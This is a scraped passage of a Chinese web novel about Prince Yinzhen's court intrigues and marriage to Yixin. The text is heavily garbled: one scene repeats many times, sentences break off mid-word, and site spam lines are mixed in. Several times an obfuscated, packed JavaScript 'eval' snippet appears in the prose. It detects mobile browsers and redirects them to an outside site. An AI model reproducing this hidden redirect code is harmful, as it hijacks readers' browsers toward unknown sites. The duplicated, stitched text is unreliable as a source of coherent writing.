“微臣贸然多次邀约王爷,没想到微臣竟是今日今时得见王爷,王爷抱恙多时,身子可还安好?”阿灵阿寒暄道。 其实,康熙将孝昭皇后的遗物送给四福晋,阿灵阿便得到了消息。 雍亲王胤禛是个奇特的存在,中立,大权在握,不受猜忌,这样的王爷,纵使有些看不透,记在他们钮祜禄氏名下,也是有百利。 不止隆科多想要见胤禛,阿灵阿也想。 两个人你来我往试探周旋几句,阿灵阿也是表达了极致的欢迎。 胤禛笑了笑,没有接招。 阿灵阿呵呵笑着说:“王爷也是微臣看着长大的,改玉牒之事,微臣也略有耳闻,微臣托个大,纵使不做王爷的姨丈,也可以做王爷的舅舅,也是与王爷有缘分。” 阿灵阿的福晋是德妃的亲妹妹。 胤禛眉眼凌厉,单手替阿灵阿斟茶,自然而然说:“本王以按福晋那边来算,确实可以唤一声舅舅。” 阿灵阿哈哈大笑,连连点头。 得了,雍亲王不愿。 “阿灵阿舅舅的嫡次子成亲了吗?”胤禛随口问。 阿灵阿一愣,怎么突然问到那小子,他文不成武不就,尚未入朝,怎么会引起四爷的注意? “犬子尚未成亲。”阿灵阿如实说。 胤禛垂眸,“哦?也对,男人志在四方,先立业后成家,也是应 该的。” 阿灵阿心里没底,应答:“欸,是。” “下个月胤禵去川陕,让他随胤禵去历练历练吧。”胤禛笑着建议。 阿灵阿大惊,连连摆手:“不,王爷,犬子资质平庸,怕是当不得王爷这般提携。” 胤禛起身拍了拍阿灵阿的肩膀,遗憾道:“舅舅,钮祜禄氏怎得养出这样老实的孩子呢,罢了,本王回去陪福晋了。” 老实,似乎骂得还挺脏。 阿灵阿觉得阴恻恻的,不知如何回应,只是站起来恭送,笑道,“代问福晋安好。” 胤禛阔步走出去,背着手站在门衔处,月光落在黑色**袍上,散发着银白色的光。 “老八彻底倒台之后,阿灵阿舅舅也是有些走投无路了吧。”胤禛冷不丁开口。 “本王砍掉佟佳氏的旁逸斜枝,送给钮祜禄氏嫡支的养料,舅舅可还喜欢吗?” 阿灵阿心头一紧,佟佳氏这段时间在朝堂上的诸般情况,竟是四爷在背后操控。 胤禛没有理会阿灵阿的反应,阔步离开。 阿灵阿是个聪明人,什么时候该明哲保身,什么时候该投明主,他清楚。 … 胤禛骑马在官道上狂奔,他情绪很一般,像是砰然落地的碎琉璃盏,不知道仪欣睡没睡。 他此行便是要亲自试探钮祜禄氏一族的想法,阿灵阿不会跟着老十那个蠢货乱搅和事情,顺便看看仪欣的表哥是什么东西。 他就算改玉牒,也只会记在孝懿皇后名下,他只等隆科多捧着一切,顺从卑怯来求他。 “王爷,不妨在客栈暂住一晚吧。”夏刈看着云遮月,提议道。 “不必,福晋还在等着。”胤禛策马。 夏刈苦笑,旁人不知道,他却很清楚,王爷案头可是一摞钮祜禄氏嫡次子的信息呢。 该的。” 阿灵阿心里没底,应答:“欸,是。” “下个月胤禵去川陕,让他随胤禵去历练历练吧。”胤禛笑着建议。 阿灵阿大惊,连连摆手:“不,王爷,犬子资质平庸,怕是当不得王爷这般提携。” 胤禛起身拍了拍阿灵阿的肩膀,遗憾道:“舅舅,钮祜禄氏怎得养出这样老实的孩子呢,罢了,本王回去陪福晋了。” 老实,似乎骂得还挺脏。 阿灵阿觉得阴恻恻的,不知如何回应,只是站起来恭送,笑道,“代问福晋安好。” 胤禛阔步走出去,背着手站在门衔处,月光落在黑色**袍上,散发着银白色的光。 “老八彻底倒台之后,阿灵阿舅舅也是有些走投无路了吧。”胤禛冷不丁开口。 “本王砍掉佟佳氏的旁逸斜枝,送给钮祜禄氏嫡支的养料,舅舅可还喜欢吗?” 阿灵阿心头一紧,佟佳氏这段时间在朝堂上的诸般情况,竟是四爷在背后操控。 胤禛没有理会阿灵阿的反应,阔步离开。 阿灵阿是个聪明人,什么时候该明哲保身,什么时候该投明主,他清楚。 … 胤禛骑马在官道上狂奔,他情绪很一般,像是砰然落地的碎琉璃盏,不知道仪欣睡没睡。 他此行便是要亲自试探钮祜禄氏一族的想法,阿灵阿不会跟着老十那个蠢货乱搅和事情,顺便看看仪欣的表哥是什么东西。 他就算改玉牒,也只会记在孝懿皇后名下,他只等隆科多捧着一切,顺从卑怯来求他。 “王爷,不妨在客栈暂住一晚吧。”夏刈看着云遮月,提议道。 “不必,福晋还在等着。”胤禛策马。 夏刈苦笑,旁人不知道,他却很清楚,王爷案头可是一摞钮祜禄氏嫡次子的信息呢。 该的。” 阿灵阿心里没底,应答:“欸,是。” “下个月胤禵去川陕,让他随胤禵去历练历练吧。”胤禛笑着建议。 阿灵阿大惊,连连摆手:“不,王爷,犬子资质平庸,怕是当不得王爷这般提携。” 胤禛起身拍了拍阿灵阿的肩膀,遗憾道:“舅舅,钮祜禄氏怎得养出这样老实的孩子呢,罢了,本王回去陪福晋了。” 老实,似乎骂得还挺脏。 阿灵阿觉得阴恻恻的,不知如何回应,只是站起来恭送,笑道,“代问福晋安好。” 胤禛阔步走出去,背着手站在门衔处,月光落在黑色**袍上,散发着银白色的光。 “老八彻底倒台之后,阿灵阿舅舅也是有些走投无路了吧。”胤禛冷不丁开口。 “本王砍掉佟佳氏的旁逸斜枝,送给钮祜禄氏嫡支的养料,舅舅可还喜欢吗?” 阿灵阿心头一紧,佟佳氏这段时间在朝堂上的诸般情况,竟是四爷在背后操控。 胤禛没有理会阿灵阿的反应,阔步离开。 阿灵阿是个聪明人,什么时候该明哲保身,什么时候该投明主,他清楚。 … 胤禛骑马在官道上狂奔,他情绪很一般,像是砰然落地的碎琉璃盏,不知道仪欣睡没睡。 他此行便是要亲自试探钮祜禄氏一族的想法,阿灵阿不会跟着老十那个蠢货乱搅和事情,顺便看看仪欣的表哥是什么东西。 他就算改玉牒,也只会记在孝懿皇后名下,他只等隆科多捧着一切,顺从卑怯来求他。 “王爷,不妨在客栈暂住一晚吧。”夏刈看着云遮月,提议道。 “不必,福晋还在等着。”胤禛策马。 夏刈苦笑,旁人不知道,他却很清楚,王爷案头可是一摞钮祜禄氏嫡次子的信息呢。 该的。” 阿灵阿心里没底,应答:“欸,是。” “下个月胤禵去川陕,让他随胤禵去历练历练吧。”胤禛笑着建议。 阿灵阿大惊,连连摆手:“不,王爷,犬子资质平庸,怕是当不得王爷这般提携。” 胤禛起身拍了拍阿灵阿的肩膀,遗憾道:“舅舅,钮祜禄氏怎得养出这样老实的孩子呢,罢了,本王回去陪福晋了。” 老实,似乎骂得还挺脏。 阿灵阿觉得阴恻恻的,不知如何回应,只是站起来恭送,笑道,“代问福晋安好。” 胤禛阔步走出去,背着手站在门衔处,月光落在黑色**袍上,散发着银白色的光。 “老八彻底倒台之后,阿灵阿舅舅也是有些走投无路了吧。”胤禛冷不丁开口。 “本王砍掉佟佳氏的旁逸斜枝,送给钮祜禄氏嫡支的养料,舅舅可还喜欢吗?” 阿灵阿心头一紧,佟佳氏这段时间在朝堂上的诸般情况,竟是四爷在背后操控。 胤禛没有理会阿灵阿的反应,阔步离开。 阿灵阿是个聪明人,什么时候该明哲保身,什么时候该投明主,他清楚。 … 胤禛骑马在官道上狂奔,他情绪很一般,像是砰然落地的碎琉璃盏,不知道仪欣睡没睡。 他此行便是要亲自试探钮祜禄氏一族的想法,阿灵阿不会跟着老十那个蠢货乱搅和事情,顺便看看仪欣的表哥是什么东西。 他就算改玉牒,也只会记在孝懿皇后名下,他只等隆科多捧着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288894|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切,顺从卑怯来求他。 “王爷,不妨在客栈暂住一晚吧。”夏刈看着云遮月,提议道。 “不必,福晋还在等着。”胤禛策马。 夏刈苦笑,旁人不知道,他却很清楚,王爷案头可是一摞钮祜禄氏嫡次子的信息呢。 该的。” 阿灵阿心里没底,应答:“欸,是。” “下个月胤禵去川陕,让他随胤禵去历练历练吧。”胤禛笑着建议。 阿灵阿大惊,连连摆手:“不,王爷,犬子资质平庸,怕是当不得王爷这般提携。” 胤禛起身拍了拍阿灵阿的肩膀,遗憾道:“舅舅,钮祜禄氏怎得养出这样老实的孩子呢,罢了,本王回去陪福晋了。” 老实,似乎骂得还挺脏。 阿灵阿觉得阴恻恻的,不知如何回应,只是站起来恭送,笑道,“代问福晋安好。” 胤禛阔步走出去,背着手站在门衔处,月光落在黑色**袍上,散发着银白色的光。 “老八彻底倒台之后,阿灵阿舅舅也是有些走投无路了吧。”胤禛冷不丁开口。 “本王砍掉佟佳氏的旁逸斜枝,送给钮祜禄氏嫡支的养料,舅舅可还喜欢吗?” 阿灵阿心头一紧,佟佳氏这段时间在朝堂上的诸般情况,竟是四爷在背后操控。 胤禛没有理会阿灵阿的反应,阔步离开。 阿灵阿是个聪明人,什么时候该明哲保身,什么时候该投明主,他清楚。 … 胤禛骑马在官道上狂奔,他情绪很一般,像是砰然落地的碎琉璃盏,不知道仪欣睡没睡。 他此行便是要亲自试探钮祜禄氏一族的想法,阿灵阿不会跟着老十那个蠢货乱搅和事情,顺便看看仪欣的表哥是什么东西。 他就算改玉牒,也只会记在孝懿皇后名下,他只等隆科多捧着一切,顺从卑怯来求他。 “王爷,不妨在客栈暂住一晚吧。”夏刈看着云遮月,提议道。 “不必,福晋还在等着。”胤禛策马。 夏刈苦笑,旁人不知道,他却很清楚,王爷案头可是一摞钮祜禄氏嫡次子的信息呢。 该的。” 阿灵阿心里没底,应答:“欸,是。” “下个月胤禵去川陕,让他随胤禵去历练历练吧。”胤禛笑着建议。 阿灵阿大惊,连连摆手:“不,王爷,犬子资质平庸,怕是当不得王爷这般提携。” 胤禛起身拍了拍阿灵阿的肩膀,遗憾道:“舅舅,钮祜禄氏怎得养出这样老实的孩子呢,罢了,本王回去陪福晋了。” 老实,似乎骂得还挺脏。 阿灵阿觉得阴恻恻的,不知如何回应,只是站起来恭送,笑道,“代问福晋安好。” 胤禛阔步走出去,背着手站在门衔处,月光落在黑色**袍上,散发着银白色的光。 “老八彻底倒台之后,阿灵阿舅舅也是有些走投无路了吧。”胤禛冷不丁开口。 “本王砍掉佟佳氏的旁逸斜枝,送给钮祜禄氏嫡支的养料,舅舅可还喜欢吗?” 阿灵阿心头一紧,佟佳氏这段时间在朝堂上的诸般情况,竟是四爷在背后操控。 胤禛没有理会阿灵阿的反应,阔步离开。 阿灵阿是个聪明人,什么时候该明哲保身,什么时候该投明主,他清楚。 … 胤禛骑马在官道上狂奔,他情绪很一般,像是砰然落地的碎琉璃盏,不知道仪欣睡没睡。 他此行便是要亲自试探钮祜禄氏一族的想法,阿灵阿不会跟着老十那个蠢货乱搅和事情,顺便看看仪欣的表哥是什么东西。 他就算改玉牒,也只会记在孝懿皇后名下,他只等隆科多捧着一切,顺从卑怯来求他。 “王爷,不妨在客栈暂住一晚吧。”夏刈看着云遮月,提议道。 “不必,福晋还在等着。”胤禛策马。 夏刈苦笑,旁人不知道,他却很清楚,王爷案头可是一摞钮祜禄氏嫡次子的信息呢。 该的。” 阿灵阿心里没底,应答:“欸,是。” “下个月胤禵去川陕,让他随胤禵去历练历练吧。”胤禛笑着建议。 阿灵阿大惊,连连摆手:“不,王爷,犬子资质平庸,怕是当不得王爷这般提携。” 胤禛起身拍了拍阿灵阿的肩膀,遗憾道:“舅舅,钮祜禄氏怎得养出这样老实的孩子呢,罢了,本王回去陪福晋了。” 老实,似乎骂得还挺脏。 阿灵阿觉得阴恻恻的,不知如何回应,只是站起来恭送,笑道,“代问福晋安好。” 胤禛阔步走出去,背着手站在门衔处,月光落在黑色**袍上,散发着银白色的光。 “老八彻底倒台之后,阿灵阿舅舅也是有些走投无路了吧。”胤禛冷不丁开口。 “本王砍掉佟佳氏的旁逸斜枝,送给钮祜禄氏嫡支的养料,舅舅可还喜欢吗?” 阿灵阿心头一紧,佟佳氏这段时间在朝堂上的诸般情况,竟是四爷在背后操控。 胤禛没有理会阿灵阿的反应,阔步离开。 阿灵阿是个聪明人,什么时候该明哲保身,什么时候该投明主,他清楚。 … 胤禛骑马在官道上狂奔,他情绪很一般,像是砰然落地的碎琉璃盏,不知道仪欣睡没睡。 他此行便是要亲自试探钮祜禄氏一族的想法,阿灵阿不会跟着老十那个蠢货乱搅和事情,顺便看看仪欣的表哥是什么东西。 他就算改玉牒,也只会记在孝懿皇后名下,他只等隆科多捧着一切,顺从卑怯来求他。 “王爷,不妨在客栈暂住一晚吧。”夏刈看着云遮月,提议道。 “不必,福晋还在等着。”胤禛策马。 夏刈苦笑,旁人不知道,他却很清楚,王爷案头可是一摞钮祜禄氏嫡次子的信息呢。 第126章兄弟痛饮 已近二更天胤禛回到别庄的时候看到的是站在二门处等候的胤禩。 胤禩见他穿着一身黑色**袍周身肃穆冷峻的模样没有很奇怪的样子。 虽然胤禛在康熙面前乃至朝堂上装得好胤禩确实没有胤禛什么把柄但是说他是纯良之辈胤禩不信。 “四哥。” 夏刈已经悄然退下胤禛阔步往前走“这个时辰你在这里做什么?” 胤禩道“想找四哥喝点酒说说话。” 胤禛沉默一瞬他和老八有零句话可以说。 他披星戴月赶回来想抱着她睡觉某个**抵是在郭络罗氏那里睡得香甜了。 “行啊喝。”胤禛烦躁甩了甩佛珠“来书房吧本王还有点事要处理。” 胤禩亦步亦趋跟在胤禛后面。 有时候他也是病急乱投医了想来找四哥取取经如何经营夫妻关系。 他和姚虞之间实在是太奇怪了若是人多时还好姚虞尚且会给他个面子可若是只有他和她姚虞就会不咸不淡看着他完全不似从前。 好似要和离一般。 到了书房胤禛径直走到桌案后看着桌案上一摞厚厚的资料眯了眯眼。 钮祜禄朔齐阿灵阿的嫡次子似乎也是他的表弟。 只不过两人年岁相差太大那人又太没存在感。 “随便坐”胤禛撩袍坐下吩咐苏培盛“温几壶清酒。” 两个人在书房无言对坐其实 只不过后面利益党争便没有什么情分了。 胤禛没有迁就胤禩的意思自顾自翻看朔齐的资料。 压在最上面的是一轴画像胤禛扫一眼随意合上又打开。 画中人浓眉大眼眉间含笑唇红齿白骨相并非多么优越却有一副盎然的少年气清润和煦如春阳初升确实算得上是好样貌。 和照春芳的男伶人相差不大胤禛补充。 想起仪欣那副见色起意的样子胤禛闭了闭眼继续翻看后面。 朔齐年十七府中无姬妾。 下面一摞是他从小到大读书做的文章胤 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 禛翻了翻,文章中规中矩,没什么出彩的地方,骑射也是。 若是在八旗子弟中来看,也算是过得去。 粘杆处查些小事,效率极高,资料上记载极其详细,不仅有朔齐的文章,还有这些年来朔齐跟富察府的一些交往,主要是跟傅辙往来很多。 “一次醉酒,朔齐私下同傅辙许诺,此生只娶仪欣一人为妻,无媵无妾无异腹之子。” “傅辙大喜。” 看到这几行字,胤禛唇角紧抿,墨瞳漆黑,已经不想说什么了。 苏培盛带着两个小太监,端着温好的清酒和几碟小菜。 胤禛起身坐在胤禩对面,胤禩主动替他倒酒,笑问:“四哥可是好奇那钮祜禄朔齐?” 胤禛勾唇,嗤笑一声:“本王好奇你和郭络罗氏为何兰因絮果。” 胤禩险些维持不住温润模样,勉强弯了弯唇,轻声道:“四哥说笑了。” 苏培盛在后面伺候着,头埋得极低,四爷心情不好的时候,只会给福晋面子。 “四哥说的也没错,弟弟确实想向四哥取取经,为何四嫂如此好哄,即使生气也不会隔夜。”胤禩主动提杯敬胤禛,“可是,姚虞便不会如此。” 胤禛挑眉,轻轻碰一下他的杯盏,“嗯?吵架和闹和离,你分不清吗?” 胤禩一噎,起身便想走,他就是有毛病,他有毛病,他有毛病大半夜坐在这里任人羞辱。 和离和离和离,他今日听到姚虞和四嫂说这两个字,他浑身冰冷。 “四哥,我什么都不想要了。”胤禩又坐下了,咕咚咕咚喝酒,主动剖白自己,“我只想跟福晋过日子,怎么办呢?” 胤禛慢条斯理饮酒,霎时颇为心旷神怡,“那是因为,你什么都没有的时候,你才看到你的福晋,若是八贤王可不会这么说。” 他不仅知道郭络罗氏要和离,还知道郭络罗氏转移嫁妆和救出赫舍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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八旗之首的镶黄旗之中的富察氏更是强悍,马齐和马武叱咤朝堂,被称为“两马吃尽天下草”,加之富察傅文这一代后辈的加持,更是享有“百年煊赫”的美誉。 两个人八面玲珑黑狐狸,加之富察氏的熏陶,竟然养出了一个糯米小粘糕。 姚虞忍俊不禁,期待想,若是自己有个小九这般性情的女儿便好了,不要如她一般机关算尽。 想完,她又苦涩摇摇头。 孩子,额娘准备好了,你可以放心来找额娘了。 … 东方欲晓,晨露初含,两个人一夜未睡。 胤禩喝醉了,胤禛淡定指挥着胤禩的小厮将人拖到汀兰院。 “四哥,你不介意吗?我跟你讲,钮祜禄朔齐,那可是马齐给他女儿亲自挑的童养夫。” 胤禩笑了,他真是不喜欢老四这个泰山崩于前而面不改色的模样,今晚光他一个人心酸可不行。 “青梅竹马,两小无猜,又门当户对。”胤禩坐着感慨,醉醺醺垂着头,故意说,“若是我有这么一个人,怕是一辈子都忘不掉。” 胤禛笑了笑,抬脚直接踹到老八的肩膀。 老八踉跄好几步,砸到刚进门的小良子身上。 “哎呦,八爷,您这是…怎么摔了?”小良子赶忙扶住,看向胤禛,轻声道,“王爷,十四爷来了。” “带他来书房。”胤禛道。 听到老十四的名字,胤禩又是一阵轻笑,意味深长看着胤禛,他今晚喝得太多,被老四挖苦讽刺太多,霎那间找补回来,实在愉悦。 宿敌就是宿敌。 宿敌根本没有办法待在一处,不知哪句话就临时起意想给对方添堵。 胤禛面沉如水,他不紧不慢掐着胤禩的脖颈,手背苍青色的血管明显暴起,他如同狮子一般眯了眯眼。 “本王不喜欢你这么说话。” 胤禩手腕用力,双手拉扯胤禛钳住他的手,两个人霎时针锋相对,“可是,四哥,你急了。如果在感情里,你这般运筹帷幄,你急什么呢?” 胤禛收拢掌心。 书房一时寂静无声,小厮不敢动,战战兢兢伏在地上。 老十四莽撞推门进来,看到两人差不多是抱在一起,吓了一跳,“你们…你们在干什 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 么?四哥!八哥你怎么在这?” 四哥和八哥在一起饮酒作乐彻夜长谈举止亲密这…这这这比捉奸在床还要劲爆! 胤禛松开胤禩 老十四凑到胤禩旁边赶紧打探“八哥八哥你怎么在四哥的别院?” “带我回去睡觉。”胤禩倚在老十四肩膀上说完这句话就昏睡过去。 老十四只能先驮着老八往汀兰院去。 胤禛彻夜未眠又听老八讲了一晚上情情爱爱实在烦躁他脱掉衣裳踱步到汤池里。 裸露的胸膛上还有仪欣玩闹留下的红痕。 他肌肤冷白倚在池边暖玉上锁骨以下的都浸在汤泉里。 仪欣沐浴很讲究总是要涂涂抹抹许多香膏汤泉里无论何时都有新鲜的玫瑰花瓣汤池边有属于她的梨花架上面摆满了她的汤汤水水。 胤禛凝视着属于仪欣的痕迹若是老八的话对他没有波澜是不可能的。 他现在有一点心乱。 万山载雪月明薄之月不能光雪皆呆白。 明明是人间七月他却有一身冰雪气。 半晌。 “王爷…”苏培盛轻声提醒“十四爷和八爷还在。” “去接福晋。”胤禛自汤池中直起身来。 … 今日姚虞要回京又赶上昨夜胤禛有事仪欣便顺理成章和姚虞一起睡一晚。 赫舍里氏的事情告一段落只看康熙如何处置李四儿姚虞自然不会在仪欣的庄子上多留更何况还有个胤禩。 仪欣醒的很早。 “王爷呢?”仪欣由晴云伺候着梳妆随口问。 姚虞正轻点胭脂闻言一顿揶揄道:“整日就是王爷王爷王爷…哪有这么多王爷?” 仪欣憨笑美滋滋撞一下姚虞的胳膊“不听不听。” 姚虞轻笑。 胤禛站在向荣院的门口左臂上挂着仪欣的披风。 仪欣穿着淡黄色旗装梳着一字头珍珠发簪如同星子般点缀在发间她葳蕤出门欢快朝胤禛小跑两步。 胤禛弯唇下一秒就被撞了个满怀他轻斥一声:“冒冒失失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第128章老十四干农活 老十四跟出去,就见仪欣半撑着胤禛高大的身躯踉跄往正院走,边走还边嘘寒问暖。 如果三两桃花醉能灌醉老四,他就是那个。 草! 正院。 “王爷,你是不是不舒服?仪欣担忧问。 “有点,昨夜彻夜未眠,听老八讲他的烦心事,也喝了不少酒。胤禛淡淡开口,偏头蹭了蹭仪欣的脸,垂着眼,一副弱不禁风的模样。 仪欣去交代苏培盛熬醒酒汤,吩咐晴云去给十四阿哥安排一个住处,打点好一切,简单梳洗一下,胤禛沐浴过后慵懒躺在床榻。 刚回到寝殿,仪欣顿住脚步,偷偷咽了咽口水。 坏了,是诱人的王爷。 胤禛醉时如同画中落雪,鼻梁和眉骨好似冻得通红,更显丰神俊朗,比平日里清冷薄情的模样,多了一分风流洒脱。 他松松垮垮穿着寝衣,半遮半掩的,更是有一种犹抱琵琶半遮面的感觉,醉玉颓山,涩气比全/裸更慷慨。 “王爷…你睡了吗…仪欣小声问。 胤禛不答。 仪欣爬上床榻,将脑袋轻轻搭在他的胸膛上,猫儿似的轻嗅他的气息,似乎还能闻到淡淡的桃花香。 她咽了咽口水,礼貌打声招呼,“王爷,我要亲你了。 “嗯,亲吧。胤禛缓缓开口。 仪欣总是不吝啬她的喜爱,贴在胤禛身侧,哼哧哼哧啄吻他的唇,慢慢在他的胸膛上印上新的痕迹。 胤禛呼吸重了。 她亲一会儿,眼睛便湿漉漉的,唇色绯绯。 “王爷,你喝温水吗? “嗯。胤禛喉结轻滚。 仪欣给胤禛掖了掖被角,轻手轻脚给他去倒水,胤禛哑声提醒一句,“别烫着,小乖。 她倒茶次数屈指可数,不得不叮嘱一句。 “好~ 嗯,他差点烫着。 突然,窗外细细碎碎传来尖细的猫叫,胤禛唇角落下,撑着身子坐起来,颇为复杂看着仪欣,轻声说,“仪欣,陪本王睡觉吧,好困,乖乖。 仪欣有些纳闷,还是张开胳膊。 胤禛抱着她到怀里,亲了亲她的脸, 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 熟练轻拍着哄睡。 没有半刻钟仪欣便已酣眠她桃腮晕着粉红比醉酒还要娇憨双腿搭在胤禛的腰上黏人得不像话。 胤禛缓缓睁开眼。 … 夏夜是漆黑的墨色 青松依旧蝉鸣几许粘杆处又出现了一个叛徒。 “王爷您听奴才解释…王爷…” “你还有脸哭?”小良子抬脚踹上去“什么东西王爷也是那些宵小能算计的吗?” 胤禛寡淡抬腕小良子恭敬退下。 他拔出长剑剑气森寒在月光下映出嗜血的光“这么多年每一个背叛本王的奴才都是本王亲自送走的。” “王爷!王爷!奴才是为了王爷太子爷他…!” 话音未落血溅三尺胤禛周身苍凉沉阔温热的血顺着他的眉骨滴下他扔了剑淡淡扫一眼身后的亲信转身离开。 玉面相阎罗心。 问菩萨为何倒座叹众生不肯回头。 他还是如玉般皎洁霎时气质温润那双盈盈笑意桃花眼里有几分是真几分是猫哭耗子的假慈悲难辨。 处理好一切胤禛重新回床榻感觉到她趴到了他的心口。 “王爷我要抱一会儿。” 胤禛蜷缩一下手指把仪欣搂到怀里垂着眼轻声问“我身上凉吗?” 仪欣自然没有回答睡得憨实刚刚也只是在说梦话她的呼吸似乎亲了亲胤禛的耳朵。 酥酥软软的触感钻到心里。 * 仪欣醒得很晚胤禛昨夜睡得太晚也醒得很晚。 待到两个人厮磨一会晨起更衣老十四已经除完二亩地的杂草了。 “四哥你也好意思说自己是来别庄种地的草盛豆苗稀你俩全都得饿死。” 老十四穿着短衣粗褐坐在地头太阳晒得脸通红此时正大口喝水不知从哪里摸出一块囊来撕一口。 仪欣目瞪口呆。 “不是嗯…我们东边还有一块地你…你是不是没过瘾呢?” 简直是天降神兵王爷要带她下地干活 你身边有不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303809|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少朋友还没看到本章呢,快去给他们剧透吧 谁知道十四阿哥全干完了。 老十四目光掠过仪欣,低下头随口问,“那块地有什么农活?” 她穿着广袖罗裙,还挺好看的。 胤禛无语,他永远也想不到老十四能干出什么事来,有病,好不容易攒了点农活带她晒晒太阳,有病。 “自己去看。”胤禛捏了捏仪欣的手,“赶紧回京,别在本王这待着。” 胤禛和仪欣走在前面,老十四跟在后面。 “不,你什么时候回去,我就什么时候回去。”老十四继续喝水。 胤禛嗤笑,“本王不回去。” “那我也不回去,四哥,我给你干活了,反正你得管我饭。” “我用你给**活吗?”胤禛冷淡瞥他一眼。 老十四大步走到东边地头,看了看田间的马铃薯,撸起裤腿角,埋头又继续干活。 这段时间,老十四就堂而皇之在胤禛的别庄住下了,日日起早贪黑给胤禛忙农活,一到饭点,吃得比谁都多。 其间,老十三来了两回,隐晦传达康熙让胤禛回京的意思。 老十三如今在正蓝旗,丰台大营当差,整日忙碌异常,看着老十四莫名其妙的农夫模样,只叮嘱胤禛保护好马铃薯。 八月初,老十四务农一整月,终于是踏上了去往川陕的官道,一身孤勇,去和川陕总督年羹尧硬碰硬。 胤禛此人,若是论阴谋诡计,谁也不怵,兵来将挡水来土掩,顺手还能把人卖了数钱。 但是,他就怕遇上老十四这种不要脸的。 老十四在他的别庄待了一整月,朝堂上下又觉得他们关系极好,连带对德妃和改玉牒之事,都开始众说纷纭,模棱两可。 出于孝道,胤禛不得不替德妃求情。 老十四这地,也不是白种的,毕竟母子情深。 八月十五,康熙又派人请胤禛滚回去当差。 胤禛装聋作哑,只道抱恙,但是,他和仪欣非常诚恳地把自己种出来的马铃薯给康熙送到乾清宫半筐。 康熙大悦。 次日早朝忙不迭跟马齐炫耀。 第129章钮祜禄朔齐。 “爱卿啊,这马铃薯易得,孩子们的孝心却是难求的。”康熙笑道,“富察氏是个孝顺的,跟胤禛夫唱妇随,真是不错,富察氏教的女儿不错。” 马齐笑笑。 “你出宫带着点马铃薯吗?他们自己种出来的,产量不多,只当承孩子们的孝心罢了。”康熙饮茶,含笑问。 马齐笑笑。 康熙又要做什么,似乎是想把马铃薯给太后娘娘宫里送几个。 马齐站起来,冷哼道,“王爷待万岁爷真是没话说,就是不知万岁爷做了什么,让王爷如此寒心,迟迟不肯回京。” 康熙黑脸,“朕怎么养儿子,用得着你来指指点点?” “那老臣去看望女婿了,明日便不来上朝了,或许,后日也不来。”马齐耸肩笑笑,颇为有恃无恐离开。 “放肆!放肆!” 马齐走了,康熙在原地气得打转,疑心自己听错了,看向梁九功沉声问,“什么?他说什么?看他女婿?那是朕的儿子!” 梁九功一句话不说,就是一个劲点头。 康熙怒极,“凭什么?” 梁九功:“是是是。” “是什么是!”康熙眯了眯丹凤眼,缓缓坐下,拇指敲击御案,思索一会,自言自语道,“老四是不是和他的福晋关系太好了?” 梁九功一惊,难不成万岁爷是要给四爷塞妾室吗? 康熙老谋深算吩咐道:“阿灵阿的嫡次子,是不是刚入国子监?让他去京郊走一趟,去请老四回京。” 梁九功大骇。 万岁爷还真是恶公公,从前这般对待太子爷,如今又是四爷。 或许,这是四爷的造化呢? * 马齐在别庄美滋滋住了两日,别提多高兴了。 日出陪女婿种地,日落跟女婿钓鱼,一天两顿酒,吃嘛嘛香。 胤禛性格温和,又没什么太讲究的毛病,仪欣喜欢的事情,他都会跟着一起做。 马齐就是特别满意,处处都觉得万岁爷的儿子是给他们富察氏生的。 心满意足待了两日,看着别庄不曾缺衣少食,马齐临走时留下一大笔银票,只说是给他们小两口过日子的贴补。 胤禛无言。 仪欣美 滋滋收下,大大方方道,谢谢阿玛。 入夜。 看着仪欣欢欢喜喜数钱,胤禛忍俊不禁,又怀疑自己是不是金银细软上亏待了她,怎么这么喜欢银两呢? 他又开始琢磨,要不要把私库里那几百万两银子拿出来,让她清点? 或者,直接把小老鼠仪欣放进私库米仓呢? 都行。 “王爷,我们有好多钱啊!”仪欣感叹,“额娘曾经跟我说,不当家不知柴米油盐贵,我如今当家了,发现柴米油盐也不贵啊。” 胤禛勾唇笑,慢悠悠感慨一句:“不过是福晋持家有方罢了。” 仪欣点头,“对啊对啊。” 胤禛扶着她的脑袋吻下去,这么可爱,怎么回事。 “唔…王爷…忘记数…到几了…”仪欣攥着银票挣扎,吭叽着推他的胸膛。 